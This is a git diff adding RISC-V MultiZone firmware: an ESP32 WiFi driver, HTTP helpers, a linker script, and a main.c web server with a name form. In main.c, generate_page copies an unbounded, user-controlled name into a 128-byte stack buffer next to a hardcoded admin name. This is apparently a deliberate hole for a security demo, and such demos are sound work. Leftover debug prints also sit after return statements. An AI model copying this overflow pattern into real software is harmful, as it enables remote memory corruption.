+ return ESP32_ERR; +} + +// Checks whether the expected value and length was received, without performing a new receive operation. +enum esp32_result esp32_check_expectation(int how, const char *expected_value, uint32_t expected_len) { + if(strncmp(expected_value, recv_buf, min(expected_len, recv_len)) != 0 || recv_len != expected_len) { +#if VERBOSITY > 0 + if(how == EXPECT_NOISY) { + printf("Got an unexpected reply from ESP32:\r\n"); + + printf(" Expected length: %u\r\n", expected_len); + printf(" Actual length: %u\r\n", recv_len); + + printf(" Expected (hex): "); + for(uint32_t i = 0; i < expected_len; ++i) { + printf("%02x ", expected_value[i]); + } + printf("\r\n"); + printf(" Data (hex): "); + for(uint32_t i = 0; i < recv_len; ++i) { + printf("%02x ", recv_buf[i]); + } + printf("\r\n"); + + if(expected_value[0] == '\r' && expected_value[1] == '\n') { + printf(" Expected (string): \\r\\n%s\r\n", &expected_value[2]); + } else { + printf(" Expected (string): %s\r\n", expected_value); + } + if(recv_buf[0] == '\r' && recv_buf[1] == '\n') { + printf(" Data (string): \\r\\n%s\r\n", &recv_buf[2]); + } else if(recv_len == 0) { + printf(" Data (string): <no data>\r\n"); + } else { + printf(" Data (string): %s\r\n", recv_buf); + } + } +#endif + + return ESP32_ERR;printf("ciao2\n"); + } + + return ESP32_OK; +} + +// Performs a receive operation and checks if the expected value was returned. +enum esp32_result esp32_expect(const char *expected_value, uint32_t expected_len) { + if(esp32_recv() == ESP32_ERR) { + recv_len = 0; + return esp32_check_expectation(EXPECT_NOISY, expected_value, expected_len); + } + + return esp32_check_expectation(EXPECT_NOISY, expected_value, expected_len); +} + +enum esp32_result esp32_init(void) { + // Reset the ESP32 + spi_send("AT+RST\r\n"); + + // Wait for it to process the reset + delay(DELAY); + + // Disable command echoing + spi_send("ATE0\r\n"); + + // Check that the results are the expected values + if(esp32_expect("ATE0\r\n", 6) == ESP32_ERR || + esp32_expect(MSG_OK) == ESP32_ERR) { + return ESP32_ERR; + } + + return ESP32_OK; +} + +enum esp32_result esp32_connect_to_ap(const char *ssid, const char *pwd) { + // Set ESP32 into station mode + spi_send("AT+CWMODE=1\r\n"); + + // Check the result of the command + if(esp32_expect(MSG_OK) == ESP32_ERR) { + return ESP32_ERR; + } + + // Construct the message to join the access point + uint32_t buf_len = strlen(ssid) + strlen(pwd) + 20; + char join_msg[buf_len]; + snprintf(join_msg, buf_len, "AT+CWJAP=\"%s\",\"%s\"\r\n", ssid, pwd); + + // Join the AP + spi_send(join_msg); + + // We expect three messages in return if everything goes well: + // - WIFI CONNECTED + // - WIFI GOT IP + // - OK + // + // These messages take some time to appear however, so we just try receiving messages until they arrive. + while(esp32_recv() == ESP32_ERR); + if(esp32_check_expectation(EXPECT_NOISY, "WIFI CONNECTED\r\n", 16) == ESP32_ERR) { + return ESP32_ERR; + } + + while(esp32_recv() == ESP32_ERR); + if(esp32_check_expectation(EXPECT_NOISY, "WIFI GOT IP\r\n", 13) == ESP32_ERR) { + return ESP32_ERR; + } + + while(esp32_recv() == ESP32_ERR); + if(esp32_check_expectation(EXPECT_NOISY, MSG_OK) == ESP32_ERR) { + return ESP32_ERR;printf("ciao1\n"); + } + + return ESP32_OK; +} + +enum esp32_result esp32_disconnect_from_ap(void) { + // Try to close the connection until a disconnection message occurs + do { + spi_send("AT+CWQAP\r\n"); + + while(esp32_recv() != ESP32_ERR) { + if(esp32_check_expectation(EXPECT_SILENT, "WIFI DISCONNECT\r\n", 17) == ESP32_OK) { + break; + } + } + } while(esp32_check_expectation(EXPECT_SILENT, "WIFI DISCONNECT\r\n", 17) == ESP32_ERR); + + // Soak up extra messages generated by the request + while(esp32_recv() != ESP32_ERR) {} + + // Put the ESP32 into power saving mode + spi_send("AT+CWMODE=0\r\n"); + if(esp32_expect(MSG_OK) == ESP32_ERR) { + return ESP32_ERR; + } + + return ESP32_OK; +} + +enum esp32_result esp32_open_server(uint16_t port) { + // Opening a server requires multiplexing to be enabled + spi_send("AT+CIPMUX=1\r\n"); + if(esp32_expect(MSG_OK) == ESP32_ERR) { + return ESP32_ERR; + } + + // Construct the message to join + char open_msg[35]; // Contains some extra room in case SSL is desired later on + snprintf(open_msg, sizeof(open_msg), "AT+CIPSERVER=1,%u\r\n", port); + + // Open the server + spi_send(open_msg); + if(esp32_expect(MSG_OK) == ESP32_ERR) { + return ESP32_ERR; + } + + return ESP32_OK; +} + +// Classifies an event from an ESP32 message +enum esp32_event esp32_classify_event(char *ptr, uint32_t len) { + if(strncmp(ptr, "\r\n+IPD,", min(len, 7)) == 0) { + return ESP32_MSG_RECEIVED; + } + // The id is guaranteed to be a 1-digit number and thus we know the length exactly + if(len == 11 && strncmp(&ptr[2], "CONNECT\r\n", min(len - 2, 9)) == 0) { + return ESP32_NEW_CONNECTION; + } + // The id is guaranteed to be a 1-digit number and thus we know the length exactly + if(len == 10 && strncmp(&ptr[2], "CLOSED\r\n", min(len - 2, 8)) == 0) { + return ESP32_CLOSED_CONNECTION; + } + return ESP32_UNKNOWN_EVENT; +} + +// Receives one of the possible event types and fills the values pointed to by its parameters appropriately. +// The caller is responsible for calling free on the value pointed to by the data pointer, if data is not null. +enum esp32_event esp32_wait_for_event(uint32_t *id, uint32_t *len, char **data) { + char *buf; + uint32_t whole_msg_len; + while(esp32_pop_event_from_queue(&buf, &whole_msg_len) != ESP32_OK) { + esp32_recv(); + } + + switch(esp32_classify_event(buf, whole_msg_len)) { + case ESP32_MSG_RECEIVED: + // The message format is "\r\n+IPD,<id>,<length>:<msg>" + if(id != NULL) { + *id = buf[7] - '0'; + } + uint32_t computed_len; + if(len != NULL) { + computed_len = strtol(&buf[9], data, 10); + *len = computed_len; + } + if(data != NULL) { + // data points to the ":" here, so we increase it to point to the message instead + *data += 1; + if(whole_msg_len - (*data - buf) < computed_len) { + *data = NULL; + free(buf); + return ESP32_MSG_RECEIVED; + } + // Copy the data to a new location, so the caller can call free on it. + // If we didn't do this, we would return a pointer into the middle of a buffer, which cannot be freed directly. + char *new_location = malloc(computed_len); + printf("%p moin\n", new_location); + if(new_location != NULL) { + memcpy(new_location, *data, computed_len); + *data = new_location; + } else { + *data = NULL; + } + free(buf); + } else { + // if the caller is not interested in the data, we can simply free it + free(buf); + } + return ESP32_MSG_RECEIVED; + case ESP32_NEW_CONNECTION: + if(id != NULL) { + *id = buf[0] - '0'; + } + // there is no meaningful data to return here, so we free the buffer + free(buf); + if(len != NULL) { + *len = 0; + } + if(data != NULL) { + *data = NULL; + } + return ESP32_NEW_CONNECTION; + case ESP32_CLOSED_CONNECTION: + if(id != NULL) { + *id = buf[0] - '0'; + } + // there is no meaningful data to return here, so we free the buffer + free(buf); + if(len != NULL) { + *len = 0; + } + if(data != NULL) { + *data = NULL; + } + return ESP32_CLOSED_CONNECTION; + } + + if(data != NULL) { + *data = buf; + } + if(len != NULL) { + *len = whole_msg_len; + } + return ESP32_UNKNOWN_EVENT; +} + +enum esp32_result esp32_send(uint32_t id, uint32_t len, char *data) { + // Inform the ESP32 that we wish to send a message + uint32_t buf_len = 40; + char send_msg[buf_len]; + snprintf(send_msg, buf_len, "AT+CIPSEND=%d,%d\r\n", id, len); + spi_send(send_msg); + + if(esp32_expect(MSG_OK) == ESP32_ERR) { + return ESP32_ERR; + } + if(esp32_expect("\r\n>", 3) == ESP32_ERR) { + return ESP32_ERR; + } + // Actually send the data + spi_send_with_len(data, len); + + buf_len = 35; + char recv_msg_buf[buf_len]; + snprintf(recv_msg_buf, buf_len, "\r\nRecv %d bytes\r\n", len); + esp32_expect(recv_msg_buf, strlen(recv_msg_buf)); + + // Usually the ESP32 will send a SEND OK message here, but there appear to be some situations in which + // that message is not sent, so we check it here, but don't error if it doesn't exist. + if(esp32_recv() == ESP32_OK) { + if(esp32_check_expectation(EXPECT_NOISY, "\r\nSEND OK\r\n", 11) == ESP32_ERR) { + return ESP32_ERR; + } + } + + return ESP32_OK; +} + +enum esp32_result esp32_close_connection(uint32_t id) { + // Build the message to close the connection + uint32_t buf_len = 30; + char send_msg[buf_len]; + snprintf(send_msg, buf_len, "AT+CIPCLOSE=%d\r\n", id); + spi_send(send_msg); + + // Sometimes the ESP32 sends no message here (but with extreme delay), so we also accept no message. + if(esp32_recv() == ESP32_OK) { + // After trying it a couple of times, it became apparent that sometimes an error is returned here. + // The connection will still appear to be closed on the ESP32 (at least the ID is reused). + // This is likely because the other party disconnected first. + // Because of this we accept both OK and ERROR messages here. + if(esp32_check_expectation(EXPECT_SILENT, MSG_OK) != ESP32_OK && esp32_check_expectation(EXPECT_SILENT, "\r\nERROR\r\n", 9) != ESP32_OK) { + // We did not get the expected message, now we just do a noisy comparison to report the error. + esp32_check_expectation(EXPECT_NOISY, MSG_OK); + return ESP32_ERR; + } + } + + return ESP32_OK; +} + +enum esp32_result esp32_close_server(void) { + spi_send("AT+CIPSERVER=1\r\n"); + + if(esp32_expect(MSG_OK) == ESP32_ERR) { + return ESP32_ERR; + } + + return ESP32_OK; +} diff --git a/multizone_wifi/zone1/esp32.h b/multizone_wifi/zone1/esp32.h new file mode 100644 index 0000000000000000000000000000000000000000..966d1a5a6874e6cc01e5fc97fda87256c0b16c63 --- /dev/null +++ b/multizone_wifi/zone1/esp32.h @@ -0,0 +1,45 @@ +/* + * esp32.h + * + * Created on: Nov 28, 2020 + * Author: niclas + */ + +#ifndef ESP32_H_ +#define ESP32_H_ + +#include <stdint.h> +#include <stddef.h> + +enum esp32_result { + ESP32_OK, + ESP32_ERR, +}; + +enum esp32_event { + ESP32_NEW_CONNECTION, + ESP32_CLOSED_CONNECTION, + ESP32_MSG_RECEIVED, + ESP32_UNKNOWN_EVENT +}; + +// Initializes the ESP32 chip. +// All other methods assume that this was initially called. +enum esp32_result esp32_init(void); +// Connects the ESP32 to the access point with the given SSID and password. +enum esp32_result esp32_connect_to_ap(const char *ssid, const char *pwd); +// Disconnects the ESP32 from an access point. +enum esp32_result esp32_disconnect_from_ap(void); +// Opens a server on the ESP32 with the given port. +enum esp32_result esp32_open_server(uint16_t port); +// Closes a server on the ESP32 with the given port. +enum esp32_result esp32_close_server(void); +// Waits for one of the event types, returning the associated data. +// The caller is responsible for calling free on the returned data pointer. +enum esp32_event esp32_wait_for_event(uint32_t *id, uint32_t *len, char **data); +// Sends a packet to the connection with the given id. +enum esp32_result esp32_send(uint32_t id, uint32_t len, char *data); +// Closes the connection with the given id. +enum esp32_result esp32_close_connection(uint32_t id); + +#endif /* ESP32_H_ */ diff --git a/multizone_wifi/zone1/esp32_network_implementation.c b/multizone_wifi/zone1/esp32_network_implementation.c new file mode 100644 index 0000000000000000000000000000000000000000..09b3e94c4f83ea32cc6ed12df8c1e85625457b89 --- /dev/null +++ b/multizone_wifi/zone1/esp32_network_implementation.c @@ -0,0 +1,63 @@ +#include "esp32_network_implementation.h" +#include "wifi_data.h" +#include "esp32.h" + +int esp32_network_implementation_init(void *custom_data) { + if(esp32_init() != ESP32_OK) { + printf("Could not initialize ESP32.\r\n"); + return 1; + } + + if(esp32_connect_to_ap(WIFI_SSID, WIFI_PASSWORD) != ESP32_OK) { + printf("Could not connect to the access point.\r\n"); + return 2; + } + + if(esp32_open_server(80) != ESP32_OK) { + printf("Could not open server.\r\n"); + esp32_disconnect_from_ap(); + return 3; + } + + return 0; +} + +enum network_event esp32_network_implementation_recv_data_or_connection(void *custom_data, int *connection_id, uint32_t *len, char **data) { + // Loop until one of the event types supported by the server occurs. + while(1) { + enum esp32_event event_type = esp32_wait_for_event((uint32_t *)connection_id, len, data); + + switch(event_type) { + case ESP32_NEW_CONNECTION: + return NEW_CONNECTION; + case ESP32_CLOSED_CONNECTION: + return CLOSED_CONNECTION; + case ESP32_MSG_RECEIVED: + return DATA_RECEIVED; + case ESP32_UNKNOWN_EVENT: + break; + } + } +} + +int esp32_network_implementation_close_connection(void *custom_data, int connection_id) { + if(esp32_close_connection(connection_id) != ESP32_OK) { + return 1; + } + return 0; +} + +int esp32_network_implementation_send_data(void *custom_data, int connection_id, uint32_t len, char *data) { + if(esp32_send(connection_id, len, data) != ESP32_OK) { + return 1; + } + return 0; +} + +struct network_implementation ESP32_NETWORK_IMPLEMENTATION = { + .init = esp32_network_implementation_init, + .recv_data_or_connection = esp32_network_implementation_recv_data_or_connection, + .close_connection = esp32_network_implementation_close_connection, + .send_data = esp32_network_implementation_send_data, + .custom_data = NULL, +}; diff --git a/multizone_wifi/zone1/esp32_network_implementation.h b/multizone_wifi/zone1/esp32_network_implementation.h new file mode 100644 index 0000000000000000000000000000000000000000..dc336330a84acbdd047b61a2ef01786328c58bcf --- /dev/null +++ b/multizone_wifi/zone1/esp32_network_implementation.h @@ -0,0 +1,8 @@ +#ifndef ESP32_NETWORK_IMPLEMENTATION_H_ +#define ESP32_NETWORK_IMPLEMENTATION_H_ + +#include "webserver.h" + +extern struct network_implementation ESP32_NETWORK_IMPLEMENTATION; + +#endif /* ESP32_NETWORK_IMPLEMENTATION_H_ */ diff --git a/multizone_wifi/zone1/http_helpers.c b/multizone_wifi/zone1/http_helpers.c new file mode 100644 index 0000000000000000000000000000000000000000..7d3675a8652f08aad2f34faa27ad0d04e018dedb --- /dev/null +++ b/multizone_wifi/zone1/http_helpers.c @@ -0,0 +1,114 @@ +#include <stddef.h> +#include <string.h> +#include <stdlib.h> +#include <stdio.h> +#include "http_helpers.h" + +char *http_status_code_str(uint16_t status_code) { + switch(status_code) { + case 100: return "Continue"; + case 101: return "Switching Protocols"; + case 102: return "Processing"; + case 200: return "OK"; + case 201: return "Created"; + case 202: return "Accepted"; + case 203: return "Non-authoritative Information"; + case 204: return "No Content"; + case 205: return "Reset Content"; + case 206: return "Partial Content"; + case 207: return "Multi-Status"; + case 208: return "Already Reported"; + case 226: return "IM Used"; + case 300: return "Multiple Choices"; + case 301: return "Moved Permanently"; + case 302: return "Found"; + case 303: return "See Other"; + case 304: return "Not Modified"; + case 305: return "Use Proxy"; + case 307: return "Temporary Redirect"; + case 308: return "Permanent Redirect"; + case 400: return "Bad Request"; + case 401: return "Unauthorized"; + case 402: return "Payment Required"; + case 403: return "Forbidden"; + case 404: return "Not Found"; + case 405: return "Method Not Allowed"; + case 406: return "Not Acceptable"; + case 407: return "Proxy Authentication Required"; + case 408: return "Request Timeout"; + case 409: return "Conflict"; + case 410: return "Gone"; + case 411: return "Length Required"; + case 412: return "Precondition Failed"; + case 413: return "Payload Too Large"; + case 414: return "Request-URI Too Long"; + case 415: return "Unsupported Media Type"; + case 416: return "Requested Range Not Satisfiable"; + case 417: return "Expectation Failed"; + case 418: return "I'm a teapot"; + case 421: return "Misdirected Request"; + case 422: return "Unprocessable Entity"; + case 423: return "Locked"; + case 424: return "Failed Dependency"; + case 426: return "Upgrade Required"; + case 428: return "Precondition Required"; + case 429: return "Too Many Requests"; + case 431: return "Request Header Fields Too Large"; + case 444: return "Connection Closed Without Response"; + case 451: return "Unavailable For Legal Reasons"; + case 499: return "Client Closed Request"; + case 500: return "Internal Server Error"; + case 501: return "Not Implemented"; + case 502: return "Bad Gateway"; + case 503: return "Service Unavailable"; + case 504: return "Gateway Timeout"; + case 505: return "HTTP Version Not Supported"; + case 506: return "Variant Also Negotiates"; + case 507: return "Insufficient Storage"; + case 508: return "Loop Detected"; + case 510: return "Not Extended"; + case 511: return "Network Authentication Required"; + case 599: return "Network Connect Timeout Error"; + default: return NULL; + } +} + +char *http_prepare_response(char *content, uint32_t content_len, uint16_t status_code, uint32_t *out_len) { + char *status_code_str = http_status_code_str(status_code); + + if(status_code_str == NULL) { + content = "Internal server error."; + content_len = strlen(content); + status_code = 500; + status_code_str = http_status_code_str(status_code); + } + + uint32_t status_code_len = strlen(status_code_str); + // 70 bytes for the protocol version, response code, two headers and newlines should be enough. + uint32_t buf_len = content_len + status_code_len + 70; + char *buf = malloc(buf_len); + + int written_len = snprintf( + buf, + buf_len, + "HTTP/1.1 %u %s\r\n" + "Content-Length: %u\r\n" + "Connection: Close\r\n" + "\r\n", + status_code, + status_code_str, + content_len + ); + + if(written_len + content_len >= buf_len) { + printf("buffer for server reply is not big enough\r\n"); + free(buf); + return NULL; + } + + memcpy(buf + written_len, content, content_len); + + *out_len = written_len + content_len; + + return buf; +} diff --git a/multizone_wifi/zone1/http_helpers.h b/multizone_wifi/zone1/http_helpers.h new file mode 100644 index 0000000000000000000000000000000000000000..0d3205af113c8dcd56ca43857ea7c33c3faa4cbf --- /dev/null +++ b/multizone_wifi/zone1/http_helpers.h @@ -0,0 +1,10 @@ +#ifndef HTTP_HELPERS_H_ +#define HTTP_HELPERS_H_ + +#include <stdint.h> + +// prepares an http response with the given content and status code +// the returned buffer should be freed by the caller +char *http_prepare_response(char *content, uint32_t content_len, uint16_t status_code, uint32_t *out_len); + +#endif /* HTTP_HELPERS_H_ */ diff --git a/multizone_wifi/zone1/led.c b/multizone_wifi/zone1/led.c new file mode 100644 index 0000000000000000000000000000000000000000..3f97f74d3944729b8c8e5b0eb1ae7c090cfc05a4 --- /dev/null +++ b/multizone_wifi/zone1/led.c @@ -0,0 +1,25 @@ +#include <stdint.h> +#include "led.h" + +#define GPIO_OUTPUT_EN *(volatile uint32_t*)0x10012008 + +void LED_on(led_t led) +{ + GPIO_OUTPUT_EN |= (uint32_t)led; +} + +void LED_off(led_t led) +{ + GPIO_OUTPUT_EN &= ~(uint32_t)led; +} + +void LED_toggle(led_t led) +{ + uint32_t led_current = GPIO_OUTPUT_EN & (uint32_t)LED_ALL; + if (led & led_current) { + // LED is on now, disable it + LED_off(led); + } else { + LED_on(led); + } +} diff --git a/multizone_wifi/zone1/led.h b/multizone_wifi/zone1/led.h new file mode 100644 index 0000000000000000000000000000000000000000..0a5178b9cc0b18ee59f690b2ff5b6ea033740095 --- /dev/null +++ b/multizone_wifi/zone1/led.h @@ -0,0 +1,22 @@ +#ifndef LED_H__ +#define LED_H__ + + +/* + * Green LED : GPIO 19 + * Blue LED : GPIO 21 + * Red LED : GPIO 22 + */ +typedef enum led_e +{ + LED_GREEN = (1U<<19), + LED_BLUE = (1U<<21), + LED_RED = (1U<<22), + LED_ALL = ((1U<<19)|(1U<<21)|(1U<<22)) +} led_t; + +void LED_on(led_t led); +void LED_off(led_t led); +void LED_toggle(led_t led); + +#endif diff --git a/multizone_wifi/zone1/linker.lds b/multizone_wifi/zone1/linker.lds new file mode 100644 index 0000000000000000000000000000000000000000..6d8686bf1e01f3f29d232cdc36ddf8d93a4ee584 --- /dev/null +++ b/multizone_wifi/zone1/linker.lds @@ -0,0 +1,161 @@ +/* Copyright(C) 2020 Hex Five Security, Inc. - All Rights Reserved */ + +OUTPUT_ARCH( "riscv" ) + +ENTRY( _start ) + +MEMORY { + flash (rxai!w) : ORIGIN = flash + 0x2000, LENGTH = 32K + prog (rxai!w) : ORIGIN = flash + 0x2000, LENGTH = 32K + ram (wa!xri) : ORIGIN = dtim + 0x1800, LENGTH = 4K +} + +SECTIONS { + + __stack_size = DEFINED(__stack_size) ? __stack_size : 1K; + PROVIDE(__stack_size = __stack_size); + + + /** Init / Fini related code | run once - loaded in slower memory **/ + + .init : ALIGN(64 / 8) + { + KEEP (*(SORT_NONE(.init))) + } >prog AT>flash + + .fini : ALIGN(64 / 8) + { + KEEP (*(SORT_NONE(.fini))) + } >prog AT>flash + + .preinit_array : ALIGN(64 / 8) + { + PROVIDE_HIDDEN (__preinit_array_start = .); + KEEP (*(.preinit_array)) + PROVIDE_HIDDEN (__preinit_array_end = .); + } >prog AT>flash + + .init_array : ALIGN(64 / 8) + { + PROVIDE_HIDDEN (__init_array_start = .); + KEEP (*(SORT_BY_INIT_PRIORITY(.init_array.*) SORT_BY_INIT_PRIORITY(.ctors.*))) + KEEP (*(.init_array EXCLUDE_FILE (*crtbegin.o *crtbegin?.o *crtend.o *crtend?.o ) .ctors)) + PROVIDE_HIDDEN (__init_array_end = .); + } >prog AT>flash + + .fini_array : ALIGN(64 / 8) + { + PROVIDE_HIDDEN (__fini_array_start = .); + KEEP (*(SORT_BY_INIT_PRIORITY(.fini_array.*) SORT_BY_INIT_PRIORITY(.dtors.*))) + KEEP (*(.fini_array EXCLUDE_FILE (*crtbegin.o *crtbegin?.o *crtend.o *crtend?.o ) .dtors)) + PROVIDE_HIDDEN (__fini_array_end = .); + } >prog AT>flash + + .ctors : ALIGN(64 / 8) + { + KEEP (*crtbegin.o(.ctors)) + KEEP (*crtbegin?.o(.ctors)) + KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors)) + KEEP (*(SORT(.ctors.*))) + KEEP (*(.ctors)) + } >prog AT>flash + + .dtors : ALIGN(64 / 8) + { + KEEP (*crtbegin.o(.dtors)) + KEEP (*crtbegin?.o(.dtors)) + KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors)) + KEEP (*(SORT(.dtors.*))) + KEEP (*(.dtors)) + } >prog AT>flash + + + /** Text section | program - can be loaded to faster memory **/ + + .text : ALIGN(64 / 8) + { + *(.text.unlikely .text.*_unlikely .text.unlikely.*) + *(.text.exit .text.exit.*) + *(.text.startup .text.startup.*) + *(.text.hot .text.hot.*) + *(SORT(.text.sorted.*)) + *(.text .stub .text.* .gnu.linkonce.t.*) + /* .gnu.warning sections are handled specially by elf.em. */ + *(.gnu.warning) + } >prog AT>flash + + PROVIDE (__etext = .); + PROVIDE (_etext = .); + PROVIDE (etext = .); + + .rodata : ALIGN(64 / 8) + { + *(.rdata) + *(.rodata .rodata.*) + *(.gnu.linkonce.r.*) + } >prog AT>flash + + + /* Data section - copied from rom to ram */ + + .lalign : ALIGN(64 / 8) + { + PROVIDE( _data_lma = . ); + } >prog AT>flash + + .data : ALIGN(64 / 8) + { + __DATA_BEGIN__ = .; + _data = .; + *(.data .data.* .gnu.linkonce.d.*) + } >ram AT>flash + + .sdata : ALIGN(64 / 8) + { + PROVIDE( __global_pointer$ = . + 0x800 ); + __SDATA_BEGIN__ = .; + *(.srodata.cst16) *(.srodata.cst8) *(.srodata.cst4) *(.srodata.cst2) *(.srodata .srodata.*) + *(.sdata .sdata.* .sdata* .gnu.linkonce.s.*) + } >ram AT>flash + + _edata = .; + PROVIDE (edata = .); + + .bss (NOLOAD): ALIGN(64 / 8) + { + __bss_start = .; + *(.sbss .sbss.* .gnu.linkonce.sb.*) + *(.bss .bss.* .gnu.linkonce.b.*) + *(COMMON) + . = ALIGN(. != 0 ? 64 / 8 : 1); + } >ram AT>ram + + . = ALIGN(64 / 8); + . = SEGMENT_START("ldata-segment", .); + . = ALIGN(64 / 8); + __bss_end = .; + __BSS_END__ = .; + + + /* Stack definition - change size at top of this script */ + + .stack (NOLOAD): ALIGN(16) + { + . += __stack_size; + PROVIDE( _sp = . ); + } >ram AT>ram + + + /* Heap definition - calculated to use the remaining memory */ + + .heap (NOLOAD): ALIGN(64 / 8) + { + PROVIDE( _end = . ); + PROVIDE( __end = . ); + PROVIDE( __heap_start = . ); + . += LENGTH(ram) - ( . - ORIGIN(ram)); + PROVIDE( _heap_end = . ); + PROVIDE( __heap_end = . ); + } >ram AT>ram + +} \ No newline at end of file diff --git a/multizone_wifi/zone1/main.c b/multizone_wifi/zone1/main.c new file mode 100644 index 0000000000000000000000000000000000000000..9e9bfab5eb4f1000f8869342a649c26aef684faa --- /dev/null +++ b/multizone_wifi/zone1/main.c @@ -0,0 +1,765 @@ +/* Copyright(C) 2020 Hex Five Security, Inc. - All Rights Reserved */ +#include <stdint.h> +#include "uart.h" +#include "cpu.h" +#include "spi.h" +#include "led.h" +#include "esp32.h" +#include "wifi_data.h" +#include "webserver.h" +#include "esp32_network_implementation.h" +#include "http_helpers.h" +#include <fcntl.h> // open() +#include <unistd.h> // read() write() +#include <string.h> // strxxx() +#include <stdio.h> // printf() sprintf() +#include <stdlib.h> // qsort() strtoul() +#include <limits.h> // UINT_MAX ULONG_MAX + +#include "platform.h" +#include "multizone.h" +/* Copyright 2019 SiFive, Inc */ +/* SPDX-License-Identifier: Apache-2.0 */ + +// See https://github.com/kjarvel/hifive1revb_wifi for the WiFi code + + +#define STARTUP_DELAY 20000000 +#define BAUDRATE_115200 115200 +#define SPICLOCK_80KHZ 80000 + +#define INDEX_PAGE \ + "<!DOCTYPE html>\n"\ + "<html>\n"\ + " <body>\n"\ + " <form method=\"POST\">\n"\ + " <div>\n"\ + " <label for=\"name\">Bitte geben Sie Ihren Namen ein:</label> <input type=\"text\" name=\"name\">\n"\ + " </div>\n"\ + " <div>\n"\ + " <input type=\"submit\" value=\"Absenden\">\n"\ + " </div>\n"\ + " </form>\n"\ + " </body>\n"\ + "</html>" +#define RESPONSE_404 \ + "<!DOCTYPE html>\n"\ + "<html>\n"\ + " <body>\n"\ + " <h1>404 Nicht gefunden</h1>\n"\ + " <p>Wir haben leider diese Seite nicht gefunden.</p>\n"\ + " </body>\n"\ + "</html>" + + +char *admin_name = "my_secret_admin_name"; + +int is_admin(char *name, uint32_t name_len) { + return strlen(admin_name) == name_len && strncmp(name, admin_name, name_len) == 0; +} + +char *generate_page(char *name, uint32_t name_len) { + // nobody could possibly enter a name longer than 120 characters, so this buffer + // is definitely large enough + char message[128]; + if(is_admin(name, name_len)) { + memcpy(message, "Willkommen im Admin-Bereich.", 29); + } + else { + memcpy(message, "Hallo, ", 7); + memcpy(message + 7, name, name_len); + message[7 + name_len] = '\0'; + } + + char *result = malloc(strlen(message) + 1); + memcpy(result, message, strlen(message) + 1); + return result; +} + +char *server_request_handler(char *location, enum request_type type, char *data, uint32_t data_len, uint32_t *out_len, bool *free_result) { + *free_result = true; + if(type == GET_REQUEST && strncmp(location, "/", 2) == 0) { + return http_prepare_response(INDEX_PAGE, strlen(INDEX_PAGE), 200, out_len); + } else if(type == POST_REQUEST && strncmp(location, "/", 2) == 0) { + if(data_len >= 5 && strncmp(data, "name=", 5) == 0) { + uint32_t name_len = data_len - 5; + name_len = webserver_percent_decode(&data[5], name_len); + char *return_string; + return_string = generate_page(&data[5], name_len); + + char* response = http_prepare_response(return_string, strlen(return_string), 200, out_len); + //free(return_string); + return response; + } else { + return http_prepare_response(RESPONSE_404, strlen(RESPONSE_404), 404, out_len); + } + } else { + return http_prepare_response(RESPONSE_404, strlen(RESPONSE_404), 404, out_len); + } + return NULL; +} + +#define BUFFER_SIZE 32 +static struct{ + char data[BUFFER_SIZE]; + volatile int r; // read + volatile int w; // write +} buffer; + +static char inputline[BUFFER_SIZE+1]=""; + +__attribute__(( interrupt())) void trap_handler(void){ + + const unsigned long mcause = MZONE_CSRR(CSR_MCAUSE); + const unsigned long mepc = MZONE_CSRR(CSR_MEPC); + const unsigned long mtval = MZONE_CSRR(CSR_MTVAL); + + switch(mcause){ + + case 0 : printf("Instruction address missaligned : 0x%08x 0x%08x 0x%08x \n", mcause, mepc, mtval); + break; + + case 1 : printf("Instruction access fault : 0x%08x 0x%08x 0x%08x \n", mcause, mepc, mtval); + break; + + case 2 : printf("Illegal instruction : 0x%08x 0x%08x 0x%08x \n", mcause, mepc, mtval); + break; + + case 3 : printf("Breakpoint : 0x%08x 0x%08x 0x%08x \n", mcause, mepc, mtval); + break; + + case 4 : printf("Load address missaligned : 0x%08x 0x%08x 0x%08x \n", mcause, mepc, mtval); + CSRW(mepc, mepc + (*(char *)mepc & 0b11 ==0b11 ? 4 : 2) ); // skip + return; + + case 5 : printf("Load access fault : 0x%08x 0x%08x 0x%08x \n", mcause, mepc, mtval); + CSRW(mepc, mepc+4); // skip + return; + + case 6 : printf("Store/AMO address missaligned : 0x%08x 0x%08x 0x%08x \n", mcause, mepc, mtval); + CSRW(mepc, mepc + (*(char *)mepc & 0b11 ==0b11 ? 4 : 2) ); // skip + return; + + case 7 : printf("Store access fault : 0x%08x 0x%08x 0x%08x \n", mcause, mepc, mtval); + CSRW(mepc, mepc + (*(char *)mepc & 0b11 ==0b11 ? 4 : 2) ); // skip + return; + + case 8 : printf("Environment call from U-mode : 0x%08x 0x%08x 0x%08x \n", mcause, mepc, mtval); + break; + + case 9 : printf("Environment call from S-mode : 0x%08x 0x%08x 0x%08x \n", mcause, mepc, mtval); + break; + + case 11: printf("Environment call from M-mode : 0x%08x 0x%08x 0x%08x \n", mcause, mepc, mtval); + break; + + #define IRQ (1UL <<__riscv_xlen-1) + +#ifdef DMA_REG + case IRQ | 3: // Machine software interrupt (DMA) + write(1, "\e7\e[2K", 6); // save curs pos & clear entire line + printf("\rDMA transfer complete \n", mcause, mepc, mtval); + printf("source : 0x%08x \n", DMA_REG(DMA_TR_SRC_OFF)); + printf("dest : 0x%08x \n", DMA_REG(DMA_TR_DEST_OFF)); + printf("size : 0x%08x \n", DMA_REG(DMA_TR_SIZE_OFF)); + write(1, "\e8\e[4B", 6); // restore curs pos & curs down 4x + DMA_REG(DMA_CH_STATUS_OFF) = (1<<16 | 1<<8 | 1<<0); // clear irq's by writing 1’s (R/W1C) + return; +#endif + + case IRQ | 7: // Machine timer interrupt + write(1, "\e7\e[2K", 6); // save curs pos & clear entire line + printf("\rMachine timer interrupt : 0x%08x 0x%08x 0x%08x \n", mcause, mepc, mtval); + write(1, "\nZ1 > %s", 6); write(1, inputline, strlen(inputline)); + write(1, "\e8\e[2B", 6); // restore curs pos & curs down 2x + MZONE_WRTIMECMP((uint64_t)-1); // clear mip.7 + CSRC(mie, 1<<7); + return; + + case IRQ | 11: // Machine external interrupt (PLIC) + ;const uint32_t plic_int = PLIC_REG(PLIC_CLAIM_OFFSET); // PLIC claim + char temp[8]; int count = read(0, &temp, 8); + if (count > 0){ + //if(buffer.w==BUFFER_SIZE){write(1, "\n>>> BUFFER FULL !!!\n", 21); while(1);} + #define MIN(a,b) (((a)<(b))?(a):(b)) + count = MIN(count, BUFFER_SIZE - buffer.w); + memcpy(&buffer.data[buffer.w], temp, count); + buffer.w += count; + } + PLIC_REG(PLIC_CLAIM_OFFSET) = plic_int; // 